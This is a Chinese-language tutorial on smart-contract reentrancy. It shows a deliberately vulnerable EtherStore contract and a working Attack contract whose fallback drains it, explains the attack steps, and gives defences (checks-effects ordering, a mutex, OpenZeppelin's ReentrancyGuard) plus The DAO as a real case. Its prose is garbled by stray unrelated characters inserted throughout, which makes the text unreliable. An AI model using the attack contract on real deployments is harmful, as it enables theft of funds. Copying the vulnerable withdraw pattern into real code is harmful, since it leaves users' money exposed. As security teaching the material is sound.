一、漏洞
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
contract EtherStore {
mapping(address => uint) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public {
uint bal = balances[msg.sender];
require(bal > 0);
(bool sent, ) = msg.sender.call{value: bal}("");
require(sent, "Failed to send Ether");
balances[msg.sender] = 0;
}
// Helper function to check the balance of this contract
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
contract Attack {
EtherStore public etherStore;
constructor(address _etherStoreAddress) {
etherStore = EtherStore(_etherStoreAddress);
}
// Fallback is called when EtherStore sends Ether to this contract.
fallback() external payable {
if (address(etherStore).balance >= 1 ether) {
etherStore.withdraw();
}
}
function attack() external payable {
require(msg.value >= 1 ether);
etherStore.deposit{value: 1 ether}();
etherStore.withdraw();
}
// Helper function to check the balance of this contract
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
這個(gè)被攻擊的EtherStore
合約买鸽,可以用來(lái)deposit和withdraw以太幣描沟。withdraw
函數(shù)的基本邏輯是:
- 判斷sender的余額是否大于0,是的話下一步钾虐;
- 使用
call
方法給sender發(fā)送合約里屬于sender所有的余額读跷,成功發(fā)送的話下一步; - 將合約中屬于sender的余額值清零禾唁。
在攻擊合約Attack
合約中效览,先看attack
函數(shù)无切,基本邏輯就是先調(diào)用deposit存入1個(gè)以太,再調(diào)用withdraw取出丐枉。然而關(guān)鍵的代碼在fallback
函數(shù)中哆键,這個(gè)fallback函數(shù)會(huì)先檢測(cè)被攻擊合約EtherStore
的余額,如果大于1個(gè)以太瘦锹,就執(zhí)行withdraw籍嘹。我們?cè)?a href="http://www.reibang.com/p/c9ae44a7f3e0" target="_blank">之前的文章寫(xiě)過(guò),fallback在什么時(shí)候會(huì)調(diào)用:
- 1.假設(shè)EtherStore合約中有10個(gè)ETH的余額辱士;
- 2.攻擊者點(diǎn)擊attack函數(shù),先執(zhí)行deposit于是攻擊者就存入了1個(gè)ETH听绳,接下來(lái)執(zhí)行withdraw颂碘,withdraw函數(shù)前兩行成功通過(guò),開(kāi)始使用
call
函數(shù)發(fā)送屬于sender(這里是Attack合約)的余額椅挣; - 3.Attack合約收到余額后头岔,根據(jù)我們上圖所示,先看msg.data是否為空鼠证?是峡竣;receive是否存在?否量九;于是進(jìn)入
fallback
函數(shù)适掰; - 4.fallback函數(shù)中,先檢測(cè)
EtherStore
的余額荠列,這里應(yīng)當(dāng)是10 - 1 = 9 Ether类浪,通過(guò),于是又執(zhí)行withdraw弯予; - 5.withdraw函數(shù)先檢測(cè)前兩行戚宦,(注意,這是攻擊過(guò)程的關(guān)鍵點(diǎn)锈嫩!)屬于sender的余額為不為0呢受楼?答案是不為0,仍然能通過(guò)呼寸,因?yàn)樯洗螆?zhí)行withdraw函數(shù)艳汽,其實(shí)還停留在
call
發(fā)送Ether的那一步,下一步還沒(méi)有執(zhí)行对雪,EtherStore中的balance值還沒(méi)有更新河狐,因此這里還是能通過(guò),繼續(xù)執(zhí)行到下一個(gè)call
發(fā)送余額,這樣又把合約余額發(fā)送過(guò)去了馋艺; - 6.Attack合約的fallback函數(shù)又開(kāi)始重復(fù)withdraw栅干,一直等到EtherStore合約中的余額為0,Attack合約的fallback函數(shù)不能通過(guò)余額檢測(cè)的時(shí)候捐祠,整個(gè)提取過(guò)程才會(huì)停止碱鳞。
- 7.執(zhí)行完成,被攻擊合約的所有10個(gè)ETH都被發(fā)送到了被攻擊合約Attack上了踱蛀。
這里的例子窿给,Attack合約其實(shí)用
receive
函數(shù)也是可以的,而且合約里是可以有單獨(dú)的receive函數(shù)率拒,但是單獨(dú)的fallback
函數(shù)就會(huì)報(bào)warning崩泡。
二、預(yù)防方法
1.避免使用call方法轉(zhuǎn)賬
在我們這篇《Solidity的發(fā)賬和收賬詳解》中猬膨,我們說(shuō)了transfer
, send
和call
這三個(gè)轉(zhuǎn)賬函數(shù)的區(qū)別角撞,其中最重要的一點(diǎn)是,transfer和send是有g(shù)as 2300的限制的寥掐,而call沒(méi)有靴寂。這就是為什么我們上面的例子中可以一直被遞歸執(zhí)行的原因磷蜀。如果是使用transfer
或者send
召耘,2300的gas很快就會(huì)耗完,根本不會(huì)一直循環(huán)被提款褐隆。
2.確保所有狀態(tài)變量的邏輯都發(fā)生在轉(zhuǎn)賬之前
我們這個(gè)例子中污它,能被攻擊的還有一個(gè)原因是balances
余額的改變?cè)?code>call轉(zhuǎn)賬之后,所以才能反復(fù)通過(guò)前兩行的狀態(tài)檢測(cè)進(jìn)行重復(fù)提款庶弃。
3.引入互斥鎖
即在代碼執(zhí)行的時(shí)候衫贬,使用互斥鎖來(lái)鎖定合約狀態(tài),防止重入歇攻。比如我們這個(gè)例子中固惯,可以改成:
bool reEntrancyMutex = false;
function withdraw() public {
require(!reEntrancyMutex);
uint bal = balances[msg.sender];
require(bal > 0);
reEntrancyMutex = true;
(bool sent, ) = msg.sender.call{value: bal}("");
reEntrancyMutex = false;
require(sent, "Failed to send Ether");
balances[msg.sender] = 0;
}
抑或是單獨(dú)寫(xiě)個(gè)ReEntrancyGuard
的合約,其中只有互斥鎖變量和函數(shù)修飾器:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
contract ReEntrancyGuard {
bool internal locked;
modifier noReentrant() {
require(!locked, "No re-entrancy");
locked = true;
_;
locked = false;
}
}
然后我們的EtherStore
合約繼承并在withdraw
函數(shù)里加上noReentrant
的前綴即可缴守。
open zeppelin官方實(shí)現(xiàn)了這樣的一個(gè)抽象合約ReentrancyGuard
葬毫,思路就是上面的那個(gè)思路只不過(guò)它可定制化程度更高,點(diǎn)擊這里可以看到屡穗。
在我們實(shí)際項(xiàng)目中贴捡,還是經(jīng)常使用到open zeppelin的這個(gè)實(shí)現(xiàn)的。
三村砂、真實(shí)案例
The DAO(分散式自治組織)是以太坊早期發(fā)展的主要黑客之一烂斋。當(dāng)時(shí),該合約持有1.5億美元以上。重入在這次攻擊中發(fā)揮了重要作用汛骂,最終導(dǎo)致了 Ethereum Classic(ETC)的分叉罕模。有關(guān)The DAO 漏洞的詳細(xì)分析,請(qǐng)參閱 Phil Daian 的文章帘瞭。